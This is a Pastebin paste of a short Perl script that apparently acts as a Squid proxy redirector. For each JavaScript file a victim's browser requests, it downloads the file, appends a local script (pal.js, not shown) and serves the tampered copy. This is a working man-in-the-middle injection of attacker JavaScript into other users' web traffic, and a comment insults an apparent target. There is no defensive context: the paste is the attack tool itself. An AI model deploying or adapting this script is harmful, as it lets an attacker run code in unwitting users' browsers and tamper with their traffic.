Advertisement
Guest User

Untitled

a guest
Oct 3rd, 2013
44
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # this kids a fucking idiot - zoned
  4.  
  5. $|=1;
  6. $count = 0;
  7. $pid = $$;
  8.  
  9. while(<>)
  10. {
  11. chomp $_;
  12. if($_ =~ /(.*\.js)/i) {
  13. $url = $1;
  14. system("/usr/bin/wget", "-q", "-O", "/var/www/tmp/$pid-$count.js", "$url");
  15. system("chmod o+r /var/www/tmp/$pid-$count.js");
  16. system("cat /etc/squid/pal.js >> /var/www/tmp/$pid-$count.js");
  17. print "http://127.0.0.1:80/tmp/$pid-$count.js\n";
  18. }
  19. else
  20. {
  21. print "$_\n";
  22. }
  23. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement